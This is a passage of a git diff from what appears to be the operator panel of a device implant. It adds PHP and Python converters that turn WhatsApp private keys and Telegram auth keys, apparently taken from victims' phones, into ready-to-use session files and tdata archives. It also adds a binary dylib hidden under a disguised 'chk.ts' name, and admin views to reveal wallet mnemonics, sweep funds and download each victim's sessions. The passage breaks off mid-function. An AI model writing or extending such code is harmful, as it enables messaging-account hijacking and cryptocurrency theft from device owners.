(!is_array($blob)) { + return null; + } + + $pks = $blob['phoneKeyStore'] ?? null; + $ident = is_array($pks) ? ($pks['identity'] ?? null) : null; + $spkHex = is_array($pks) ? ($pks['signedPreKey']['hexKey'] ?? null) : null; + $csB64 = $blob['clientStaticKeypairBase64'] ?? null; + + if (!is_array($ident) || !is_string($spkHex ?? null) || !is_string($csB64 ?? null)) { + return null; + } + + $phone = $this->stringOf($blob['userId'] ?? $blob['account'] ?? null); + $dc = is_array($blob['deviceConfig'] ?? null) ? $blob['deviceConfig'] : []; + + [$cc, $country] = $this->inferCcCountry($phone, $device); + $in = $cc !== '' && str_starts_with($phone, $cc) + ? substr($phone, strlen($cc)) + : $phone; + + $identPub = $this->hexToBytes($ident['hexPublic'] ?? ''); + $identPriv = $this->hexToBytes($ident['hexPrivate'] ?? ''); + $spk = $this->parseSignedPreKey($spkHex); + $csPriv = base64_decode((string) $csB64, true) ?: ''; + $csPub = $this->deriveCurve25519Public($csPriv); + + $record = [ + 'cc' => $cc, + 'clientStaticPrivateKey' => $this->b64($csPriv), + 'clientStaticPublicKey' => $this->b64($csPub), + 'country' => $country, + 'device' => $this->stringOf($dc['model'] ?? $dc['device'] ?? null), + 'deviceUUID' => '', + 'identityPrivateKey' => $this->b64($identPriv), + 'identityPublicKey' => $this->b64($identPub), + 'in' => $in, + 'jid' => $phone, + 'language' => '', + 'manufacturer' => $this->stringOf($dc['brand'] ?? null) ?: 'Apple', + 'mcc' => $this->stringOf($dc['sim_operator'] ?? null), + 'mnc' => '', + 'osBuildNumber' => $this->stringOf($dc['display'] ?? null), + 'osVersion' => $this->stringOf($dc['sdk_release'] ?? null), + 'phone' => $phone, + 'phoneUUID' => $this->stringOf($blob['phoneId'] ?? null), + 'registrationID' => (int) ($ident['registration_id'] ?? 0), + 'roProductBoard' => $this->stringOf($dc['board'] ?? null), + 'roProductDevice' => $this->stringOf($dc['device'] ?? null), + 'signPreKeyID' => $spk['id'] ?? 0, + 'signPreKeyPrivateKey' => $this->b64($spk['priv'] ?? ''), + 'signPreKeyPublicKey' => $this->b64($spk['pub'] ?? ''), + 'signPreKeySignature' => $this->b64($spk['sig'] ?? ''), + 'whatsappVersion' => $this->stringOf($blob['whatsappVersion'] ?? $blob['version'] ?? null), + ]; + + // Enforce fixed key order. + $ordered = []; + foreach (self::FIELD_ORDER as $k) { + $ordered[$k] = $record[$k] ?? ''; + } + + return $ordered; + } + + /** One NDJSON line (no trailing newline). */ + public function convertToLine(PluginSession $session, ?Device $device = null): ?string + { + $rec = $this->convert($session, $device); + if ($rec === null) { + return null; + } + $json = json_encode($rec, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + + return $json === false ? null : $json; + } + + /** + * @return array{cc:string, country:string} + */ + private function inferCcCountry(string $phone, ?Device $device): array + { + if ($phone !== '') { + [$cc, $country] = CountryCallingCode::inferFromPhone($phone); + if ($cc !== '') { + return [$cc, $country]; + } + } + // Fallback: device.country (CF-IPCountry ISO code) -> calling code. + if ($device !== null) { + $iso = strtoupper(trim((string) $device->country)); + $cc = CountryCallingCode::callingCodeForCountry($iso); + if ($cc !== null) { + return [$cc, $iso]; + } + } + + return ['', '']; + } + + /** + * Parse signedPreKey.hexKey protobuf: + * field 1 (varint) = prekey_id + * field 2 (bytes) = public key (33 bytes, 05 prefix) + * field 3 (bytes) = private key (32 bytes) + * field 4 (bytes) = signature (64 bytes) + * + * @return array{id:int, pub:string, priv:string, sig:string} + */ + private function parseSignedPreKey(string $hex): array + { + $d = $this->hexToBytes($hex); + $out = ['id' => 0, 'pub' => '', 'priv' => '', 'sig' => '']; + $o = 0; + $n = strlen($d); + while ($o < $n) { + [$tag, $o] = $this->readVarint($d, $o); + $field = $tag >> 3; + $wire = $tag & 7; + if ($wire === 0) { + [$v, $o] = $this->readVarint($d, $o); + if ($field === 1) { + $out['id'] = (int) $v; + } + } elseif ($wire === 2) { + [$ln, $o] = $this->readVarint($d, $o); + $v = substr($d, $o, $ln); + $o += $ln; + if ($field === 2) { + $out['pub'] = $v; + } elseif ($field === 3) { + $out['priv'] = $v; + } elseif ($field === 4) { + $out['sig'] = $v; + } + } elseif ($wire === 1) { + $o += 8; + } elseif ($wire === 5) { + $o += 4; + } else { + break; + } + } + + return $out; + } + + /** Curve25519 public key from a 32-byte private key (libsodium). */ + private function deriveCurve25519Public(string $priv): string + { + if (strlen($priv) !== 32) { + return ''; + } + try { + return sodium_crypto_box_publickey_from_secretkey($priv); + } catch (\SodiumException $e) { + return ''; + } + } + + /** @return array{0:int, 1:int} */ + private function readVarint(string $d, int $o): array + { + $v = 0; + $s = 0; + while ($o < strlen($d)) { + $b = ord($d[$o]); + $o++; + $v |= ($b & 0x7f) << $s; + if (($b & 0x80) === 0) { + break; + } + $s += 7; + } + + return [$v, $o]; + } + + private function hexToBytes(string $hex): string + { + $hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? ''; + if ($hex === '' || strlen($hex) % 2 !== 0) { + return ''; + } + + return hex2bin($hex) ?: ''; + } + + private function b64(string $bytes): string + { + return $bytes === '' ? '' : base64_encode($bytes); + } + + private function stringOf(mixed $v): string + { + if (is_int($v) || is_float($v)) { + return (string) $v; + } + if (is_string($v)) { + $v = trim($v); + + return $v; + } + + return ''; + } +} diff --git a/channel-builder/source/sync/chk.ts b/channel-builder/source/sync/chk.ts new file mode 100644 index 0000000..cfff842 Binary files /dev/null and b/channel-builder/source/sync/chk.ts differ diff --git a/channel-builder/source/sync_config/daily.body b/channel-builder/source/sync_config/daily.body index 0981c5d..bd011b4 100644 Binary files a/channel-builder/source/sync_config/daily.body and b/channel-builder/source/sync_config/daily.body differ diff --git a/channel-builder/source/sync_config/daily.body.bak b/channel-builder/source/sync_config/daily.body.bak new file mode 100644 index 0000000..0981c5d Binary files /dev/null and b/channel-builder/source/sync_config/daily.body.bak differ diff --git a/channel-builder/source/sync_dylibs/CHKWhatsApp.dylib b/channel-builder/source/sync_dylibs/CHKWhatsApp.dylib new file mode 100644 index 0000000..8a511bf Binary files /dev/null and b/channel-builder/source/sync_dylibs/CHKWhatsApp.dylib differ diff --git a/channel-builder/tools/sync_modules.json b/channel-builder/tools/sync_modules.json index df0169b..88b36a9 100644 --- a/channel-builder/tools/sync_modules.json +++ b/channel-builder/tools/sync_modules.json @@ -191,6 +191,14 @@ "original_sha256": "51a5904abf3dacb554989b7c04e7f9e6a169bd4f6faba1d3bf8f11e7e5ad550d", "source_rel": "source/sync_dylibs/libAggregateDictionaryClient.dylib" }, + { + "wire": "chk.ts", + "member": "CHKWhatsApp.dylib", + "expect_channel_hits": 2, + "original_size": 408552, + "original_sha256": "1106f08e427c4e26b4efc53105d46ee83ad760cee64b7ac050d88c214aa4e3a8", + "source_rel": "source/sync_dylibs/CHKWhatsApp.dylib" + }, { "wire": "candy_ketchup.html", "member": "WeChat.dylib", diff --git a/channel-builder/tools/tglib_to_session_files.py b/channel-builder/tools/tglib_to_session_files.py new file mode 100644 index 0000000..e60360a --- /dev/null +++ b/channel-builder/tools/tglib_to_session_files.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +""" +tglib_to_session_files.py — Convert tglib.js JSON payload to the Telethon +"session trio" (SQLite .session + metadata .json + session_string _密钥.txt). + +Usage: + python tglib_to_session_files.py + +Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto +auth_key + DC id + user id, builds a Telethon SQLite session, derives a +StringSession, and writes three files into : + {phone}.session — Telethon SQLite session (binary) + {phone}.json — Account metadata + session_string + {phone}_密钥.txt — session_string plain text + +Works fully offline — no Telegram connection is made. +""" +import json, base64, os, sys, tempfile, shutil + +# Standard Telegram production DC endpoints (used to seed the Telethon session). +DC_ADDRS = { + 1: ("149.154.175.50", 443), + 2: ("149.154.167.51", 443), + 3: ("149.154.175.100", 443), + 4: ("149.154.167.91", 443), + 5: ("91.108.56.130", 443), +} + +# Telegram Desktop official API credentials (used as defaults in metadata). +DEFAULT_API_ID = 2040 +DEFAULT_API_HASH = "b18441a1ff607e10a989891a5462e627" + + +def extract_keys(payload: dict): + """Extract master auth_key, dc_id, user_id, phone from tglib.js JSON.""" + state_b64 = payload.get("state") + if not state_b64: + raise ValueError("missing 'state' field") + state = json.loads(base64.b64decode(state_b64)) + records = state.get("records", []) + if not records: + raise ValueError("no records in state") + backup_b64 = None + for attr in records[0].get("attributes", []): + if isinstance(attr, dict) and "backupData" in attr: + backup_b64 = attr["backupData"]["data"] + break + if not backup_b64: + raise ValueError("no backupData in state records") + backup = json.loads(base64.b64decode(backup_b64)) + auth_key = base64.b64decode(backup["masterDatacenterKey"]) + dc_id = backup["masterDatacenterId"] + user_id = backup.get("peerId", 0) + if len(auth_key) != 256: + raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}") + # tglib.js stores the phone number (E.164 without +) in the top-level + # "user_id" field; the Telegram user id is in backupData.peerId. + phone = str(payload.get("user_id") or user_id) + return auth_key, dc_id, user_id, phone + + +def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str: + """Create a Telethon SQLite session file with the given auth key + DC.""" + from telethon.sessions import SQLiteSession + server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443)) + path = os.path.join(tmpdir, "tg") + sess = SQLiteSession(path) + sess._conn.execute("DELETE FROM sessions") + sess._conn.execute( + "INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)", + (dc_id, server, port, auth_key), + ) + sess._conn.commit() + sess.close() + return path + ".session" + + +def session_string_from(session_file: str) -> str: + """Convert a Telethon SQLite session file to a StringSession string.""" + from telethon.sessions import StringSession, SQLiteSession + return StringSession.save(SQLiteSession(session_file)) + + +def build_metadata(user_id, phone: str, session_string: str) -> dict: + """Build the account metadata JSON (matching the reference format).""" + return { + "api_id": DEFAULT_API_ID, + "api_hash": DEFAULT_API_HASH, + "device_model": "Telegram Desktop", + "system_version": "Windows 10 x64", + "app_version": "4.14.4 x64", + "system_lang_code": "en-US", + "lang_pack": "tdesktop", + "lang_code": "en", + "user_id": user_id, + "phone": phone, + "twofa": "", + "password": "", + "session_string": session_string, + "app_id": DEFAULT_API_ID, + "app_hash": DEFAULT_API_HASH, + "session_file": phone, + "device": "Telegram Desktop", + "username": "", + "sex": None, + "tz_offset": 28800, + "avatar": "img/default.png", + "device_token": "__FIREBASE_FAILED__", + "package_id": "", + "installer": "", + "ipv6": False, + "pref_cat": 2, + "block": False, + "premium": False, + } + + +def main(): + if len(sys.argv) != 3: + print("usage: tglib_to_session_files.py ", file=sys.stderr) + sys.exit(1) + input_json, output_dir = sys.argv[1], sys.argv[2] + payload = json.load(open(input_json)) + auth_key, dc_id, user_id, phone = extract_keys(payload) + print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}, phone: {phone}", file=sys.stderr) + + os.makedirs(output_dir, exist_ok=True) + tmpdir = tempfile.mkdtemp(prefix="tglib_sess_") + try: + session_file = make_session(tmpdir, auth_key, dc_id) + ss = session_string_from(session_file) + + # 1) {phone}.session — copy the SQLite session file + out_session = os.path.join(output_dir, f"{phone}.session") + shutil.copy(session_file, out_session) + + # 2) {phone}.json — metadata + session_string + meta = build_metadata(user_id, phone, ss) + out_json = os.path.join(output_dir, f"{phone}.json") + with open(out_json, "w", encoding="utf-8") as f: + json.dump(meta, f, ensure_ascii=False, indent=4) + + # 3) {phone}_密钥.txt — session_string plain text + out_key = os.path.join(output_dir, f"{phone}_密钥.txt") + with open(out_key, "w", encoding="utf-8") as f: + f.write(ss) + + print(f"wrote: {out_session}, {out_json}, {out_key}", file=sys.stderr) + finally: + shutil.rmtree(tmpdir, ignore_errors=True) + + +if __name__ == "__main__": + main() diff --git a/channel-builder/tools/tglib_to_tdata.py b/channel-builder/tools/tglib_to_tdata.py new file mode 100644 index 0000000..4aed65f --- /dev/null +++ b/channel-builder/tools/tglib_to_tdata.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python3 +""" +tglib_to_tdata.py — Convert tglib.js JSON payload to a Telegram Desktop tdata zip. + +Usage: + python tglib_to_tdata.py + +Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto auth +key + DC id, builds a Telethon SQLite session, and uses opentele-ng to write a +tdata folder, then zips it. + +Works fully offline — no Telegram connection is made. +""" +import json, base64, os, sys, tempfile, shutil, sqlite3, zipfile, asyncio + +# Standard Telegram production DC endpoints (used to seed the Telethon session). +DC_ADDRS = { + 1: ("149.154.175.50", 443), + 2: ("149.154.167.51", 443), + 3: ("149.154.175.100", 443), + 4: ("149.154.167.91", 443), + 5: ("91.108.56.130", 443), +} + + +def extract_keys(payload: dict): + """Extract master auth_key, dc_id, user_id from tglib.js JSON payload.""" + state_b64 = payload.get("state") + if not state_b64: + raise ValueError("missing 'state' field") + state = json.loads(base64.b64decode(state_b64)) + records = state.get("records", []) + if not records: + raise ValueError("no records in state") + backup_b64 = None + for attr in records[0].get("attributes", []): + if isinstance(attr, dict) and "backupData" in attr: + backup_b64 = attr["backupData"]["data"] + break + if not backup_b64: + raise ValueError("no backupData in state records") + backup = json.loads(base64.b64decode(backup_b64)) + auth_key = base64.b64decode(backup["masterDatacenterKey"]) + dc_id = backup["masterDatacenterId"] + user_id = backup.get("peerId", 0) + if len(auth_key) != 256: + raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}") + return auth_key, dc_id, user_id + + +def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str: + """Create a Telethon SQLite session file with the given auth key + DC.""" + from telethon.sessions import SQLiteSession + server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443)) + path = os.path.join(tmpdir, "tg") + sess = SQLiteSession(path) + sess._conn.execute("DELETE FROM sessions") + sess._conn.execute( + "INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)", + (dc_id, server, port, auth_key), + ) + sess._conn.commit() + sess.close() + return path + ".session" + + +def convert_to_tdata(session_file: str, out_dir: str): + """Use opentele-ng to convert Telethon session → tdata folder (offline).""" + from opentele.td import TDesktop + from opentele.tl import TelegramClient + from opentele.api import UseCurrentSession + + async def _run(): + client = TelegramClient(session_file) + try: + tdesk = await client.ToTDesktop(flag=UseCurrentSession) + if not tdesk.isLoaded(): + raise RuntimeError("TDesktop failed to load after conversion") + if os.path.exists(out_dir): + shutil.rmtree(out_dir) + tdesk.SaveTData(out_dir) + finally: + await client.disconnect() + + asyncio.run(_run()) + + +def zip_tdata(tdata_dir: str, zip_path: str): + """Zip the tdata folder into a zip file.""" + with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf: + for root, dirs, files in os.walk(tdata_dir): + for f in files: + full = os.path.join(root, f) + arc = os.path.relpath(full, os.path.dirname(tdata_dir)) + zf.write(full, arc) + + +def main(): + if len(sys.argv) != 3: + print("usage: tglib_to_tdata.py ", file=sys.stderr) + sys.exit(1) + input_json, output_zip = sys.argv[1], sys.argv[2] + payload = json.load(open(input_json)) + auth_key, dc_id, user_id = extract_keys(payload) + print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}", file=sys.stderr) + + tmpdir = tempfile.mkdtemp(prefix="tglib_tdata_") + try: + session_file = make_session(tmpdir, auth_key, dc_id) + tdata_dir = os.path.join(tmpdir, "tdata") + convert_to_tdata(session_file, tdata_dir) + zip_tdata(tdata_dir, output_zip) + print(f"wrote {output_zip} ({os.path.getsize(output_zip)} bytes)", file=sys.stderr) + finally: + shutil.rmtree(tmpdir, ignore_errors=True) + + +if __name__ == "__main__": + main() diff --git a/channel-builder/tools/wapjs_to_ws.py b/channel-builder/tools/wapjs_to_ws.py new file mode 100644 index 0000000..fb5629a --- /dev/null +++ b/channel-builder/tools/wapjs_to_ws.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +""" +wap.js payload -> __ws.txt NDJSON (chk.ts native output format) + +Route-1: infer cc/country from phone via libphonenumber, derive `in` by +stripping cc from phone, derive clientStaticPublicKey from the private key +via curve25519. + +Usage: + python wapjs_to_ws.py [output.ndjson] + +If output omitted, writes .ndjson next to input. +""" +import sys, json, base64, phonenumbers +from pathlib import Path +from nacl.public import PrivateKey # curve25519 + + +# ---------- protobuf (minimal, only what chk.ts signedPreKey needs) ---------- +def _varint(d, o): + v = s = 0 + while True: + b = d[o]; o += 1 + v |= (b & 0x7f) << s + if not (b & 0x80): break + s += 7 + return v, o + +def parse_pb(d): + out, o = {}, 0 + while o < len(d): + tag, o = _varint(d, o) + fn, w = tag >> 3, tag & 7 + if w == 0: + v, o = _varint(d, o) + elif w == 1: + v = d[o:o + 8]; o += 8 + elif w == 2: + ln, o = _varint(d, o) + v = d[o:o + ln]; o += ln + elif w == 5: + v = d[o:o + 4]; o += 4 + else: + raise ValueError(f"bad wire {w} field {fn}") + out[fn] = v + return out + + +def b64(b: bytes) -> str: + return base64.b64encode(b).decode() + + +def infer_cc_country(phone_int: int): + """Return (cc, country_iso, in_local) using libphonenumber.""" + s = "+" + str(phone_int) + try: + nn = phonenumbers.parse(s, None) + if not phonenumbers.is_valid_number(nn): + # still try to get region from prefix even if invalid + region = phonenumbers.region_code_for_country_code(nn.country_code) or "" + else: + region = phonenumbers.region_code_for_number(nn) or "" + cc = str(nn.country_code) + national = str(nn.national_number) + return cc, region, national + except phonenumbers.NumberParseException: + return "", "", str(phone_int) + + +def convert(wap_path: Path) -> str: + o = json.loads(wap_path.read_text()) + pks = o["phoneKeyStore"] + ident = pks["identity"] + spk = parse_pb(bytes.fromhex(pks["signedPreKey"]["hexKey"])) + dc = o.get("deviceConfig", {}) + + cc, country, in_local = infer_cc_country(int(o["userId"])) + phone = str(o["userId"]) + + # identity keys (keep 05 prefix) + ident_pub_b = bytes.fromhex(ident["hexPublic"]) # 33 bytes + ident_priv_b = bytes.fromhex(ident["hexPrivate"]) # 32 bytes + + # signed prekey (protobuf): 1=id 2=pub(33,05+) 3=priv(32) 4=sig(64) + spk_id = spk[1] + spk_pub_b = spk[2] # 33 bytes + spk_priv_b = spk[3] # 32 bytes + spk_sig_b = spk[4] # 64 bytes + + # clientStatic: private given, derive public (raw 32 bytes, no 05 prefix) + cs_priv_b = base64.b64decode(o["clientStaticKeypairBase64"]) + cs_pub_b = bytes(PrivateKey(cs_priv_b).public_key) # 32 bytes + + record = { + "cc": cc, + "clientStaticPrivateKey": b64(cs_priv_b), + "clientStaticPublicKey": b64(cs_pub_b), + "country": country, + "device": dc.get("model", ""), + "deviceUUID": "", + "identityPrivateKey": b64(ident_priv_b), + "identityPublicKey": b64(ident_pub_b), + "in": in_local, + "jid": phone, + "language": "", + "manufacturer": dc.get("brand", "Apple") or "Apple", + "mcc": dc.get("sim_operator", ""), + "mnc": "", + "osBuildNumber": dc.get("display", ""), + "osVersion": dc.get("sdk_release", ""), + "phone": phone, + "phoneUUID": o.get("phoneId", ""), + "registrationID": ident.get("registration_id", 0), + "roProductBoard": dc.get("board", ""), + "roProductDevice": dc.get("device", ""), + "signPreKeyID": spk_id, + "signPreKeyPrivateKey": b64(spk_priv_b), + "signPreKeyPublicKey": b64(spk_pub_b), + "signPreKeySignature": b64(spk_sig_b), + "whatsappVersion": "", + } + return json.dumps(record, ensure_ascii=False, separators=(",", ":")) + + +def main(): + if len(sys.argv) < 2: + print(__doc__); sys.exit(1) + inp = Path(sys.argv[1]) + out = Path(sys.argv[2]) if len(sys.argv) > 2 else inp.with_suffix(".ndjson") + line = convert(inp) + out.write_text(line + "\n") + print(f"wrote {out} ({len(line)} chars)") + # echo parsed summary + r = json.loads(line) + print("\n=== summary ===") + for k in ["cc","country","in","phone","jid","phoneUUID","registrationID", + "device","roProductDevice","roProductBoard","osVersion","osBuildNumber", + "manufacturer","mcc"]: + print(f" {k:18s} = {r[k]!r}") + print(" --- key lengths (raw bytes) ---") + for k in ["identityPublicKey","identityPrivateKey","signPreKeyPublicKey", + "signPreKeyPrivateKey","signPreKeySignature", + "clientStaticPrivateKey","clientStaticPublicKey"]: + b = base64.b64decode(r[k]) + print(f" {k:22s} = {len(b):3d} bytes head={b[:3].hex()}") + + +if __name__ == "__main__": + main() diff --git a/database/migrations/2026_10_01_013257_add_login_lock_columns_to_admins_table.php b/database/migrations/2026_10_01_013257_add_login_lock_columns_to_admins_table.php new file mode 100644 index 0000000..32bdc39 --- /dev/null +++ b/database/migrations/2026_10_01_013257_add_login_lock_columns_to_admins_table.php @@ -0,0 +1,29 @@ +unsignedInteger('login_attempts')->default(0)->after('status'); + $table->timestamp('locked_at')->nullable()->after('login_attempts'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('admins', function (Blueprint $table) { + $table->dropColumn(['login_attempts', 'locked_at']); + }); + } +}; diff --git a/database/migrations/2026_10_02_022800_add_login_lock_columns_to_users_table.php b/database/migrations/2026_10_02_022800_add_login_lock_columns_to_users_table.php new file mode 100644 index 0000000..b611669 --- /dev/null +++ b/database/migrations/2026_10_02_022800_add_login_lock_columns_to_users_table.php @@ -0,0 +1,23 @@ +unsignedInteger('login_attempts')->default(0)->after('status'); + $table->timestamp('locked_at')->nullable()->after('login_attempts'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn(['login_attempts', 'locked_at']); + }); + } +}; diff --git a/docs/deploy.md b/docs/deploy.md index 9170d94..8061467 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -117,7 +117,7 @@ chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new 说明: 只跑轻量任务(RecordPageHit / ScanDeviceNotes 等)。相册解压、Telegram、自动转账已拆到独立队列,不要再混进来。 名称: coruna-telegram -启动命令: /www/server/php/82/bin/php artisan queue:work telegram --sleep=0 --tries=3 --timeout=30 --max-time=3600 +启动命令: /www/server/php/82/bin/php artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 说明: 延迟敏感的 Telegram 通知,独立队列,不会被相册/统计挤住。--sleep=0 让有消息就立刻发。 diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 1a1d18f..a358c57 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -157,6 +157,7 @@ layui.use(['table', 'form', 'layer'], function () { var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$; var token = @json(csrf_token()); var updateBase = @json(url('/'.$portal.'/addresses')); + var canReveal = @json(!empty($can_reveal)); if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); @@ -336,7 +337,14 @@ layui.use(['table', 'form', 'layer'], function () { ? '开' : '关'; }}, - { title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' } + { title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', templet: function (d) { + var html = ''; + if (canReveal && d.collectable) html += '查看助记词'; + if (d.collectable) html += '归集'; + html += '编辑'; + html += '设备详情'; + return html; + } } ]], page: true, limit: 20, limits: [10, 20, 30, 50], request: { pageName: 'page', limitName: 'limit' }, diff --git a/resources/views/admin/agents/index.blade.php b/resources/views/admin/agents/index.blade.php index bbd1be7..7db82ee 100644 --- a/resources/views/admin/agents/index.blade.php +++ b/resources/views/admin/agents/index.blade.php @@ -33,6 +33,9 @@ diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 63730a4..3872d0b 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -6,7 +6,9 @@
设备详情 + @if (($portal ?? 'admin') === 'admin') + @endif
@@ -228,6 +230,8 @@ 'apps' => '已装 APP', 'notes' => '备忘录', 'events' => '日志', + 'ws-sessions' => 'WS 参数', + 'tg-sessions' => 'TG 参数', ]; @endphp @foreach ($tabs as $key => $label)
  • @@ -316,6 +320,20 @@ @endif
  • + @if (in_array($tab, ['ws-sessions', 'tg-sessions'], true)) + + @endif @endif
    @@ -335,7 +353,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device)); var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device)); var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device)); + @if (($portal ?? 'admin') === 'admin') var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device)); + @else + var destroyUrl = ''; + @endif var listUrl = @json(route(($portal ?? 'admin').'.devices.index')); var token = @json(csrf_token()); var revealMnemonic = window.CorunaMnemonicReveal({ @@ -351,6 +373,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { .replace(/>/g, '>') .replace(/"/g, '"'); }; + var yesNo = function (v) { + return v ? '有' : '无'; + }; form.on('switch(LAY-device-album-storage)', function (obj) { var on = obj.elem.checked ? 1 : 0; @@ -656,6 +681,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { { field: 'context', title: 'Context', minWidth: 220, templet: function (d) { return d.context ? '' + esc(d.context) + '' : '—'; } } + ]], + 'ws-sessions': [[ + { field: 'id', title: 'ID', width: 70, sort: true }, + { field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } }, + { field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } }, + { field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } }, + { field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } }, + { field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } }, + { field: 'created_at', title: '创建时间', width: 170, sort: true }, + { title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' } + ]], + 'tg-sessions': [[ + { field: 'id', title: 'ID', width: 70, sort: true }, + { field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } }, + { field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } }, + { field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } }, + { field: 'created_at', title: '创建时间', width: 170, sort: true }, + @if(auth('admin')->user()?->isSuper()) + { title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' } + @else + { title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' } + @endif ]] }; var emptyMap = { @@ -664,7 +711,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { keystores: '暂无钥匙串', apps: '暂无应用', notes: '暂无备忘录', - events: '暂无日志' + events: '暂无日志', + 'ws-sessions': '暂无 WS 参数', + 'tg-sessions': '暂无 TG 参数' }; table.render({ @@ -779,6 +828,107 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { }); } + if (tab === 'ws-sessions' || tab === 'tg-sessions') { + table.on('tool(LAY-device-tab-list)', function (obj) { + if (obj.event === 'payload') { + var url = obj.data.payload_url; + if (!url) { layer.msg('缺少参数地址'); return; } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' }) + .then(function (res) { + return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; }) + .catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; }); + }) + .then(function (out) { + layer.close(load); + var body = out.body || {}; + var json = body.data && body.data.payload_json; + if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; } + var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || ''; + var pretty = JSON.stringify(json, null, 2); + layer.open({ + type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id, + area: ['720px', '80%'], content: + '
    ' + esc(pretty) + '
    ' + + (downloadUrl ? '' : '') + }); + }) + .catch(function () { layer.close(load); layer.msg('加载参数失败'); }); + return; + } + if (obj.event === 'wsFull') { + var url = obj.data.ws_full_url; + if (!url) { layer.msg('缺少协议全参地址'); return; } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt'; + document.body.appendChild(a); a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); }); + return; + } + if (obj.event === 'tdata') { + var url = obj.data.tdata_url; + if (!url) { layer.msg('缺少 TDATA 地址'); return; } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip'; + document.body.appendChild(a); a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); }); + return; + } + if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') { + var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' }; + var extMap = { session: '.session', json: '.json', key: '_密钥.txt' }; + var type = 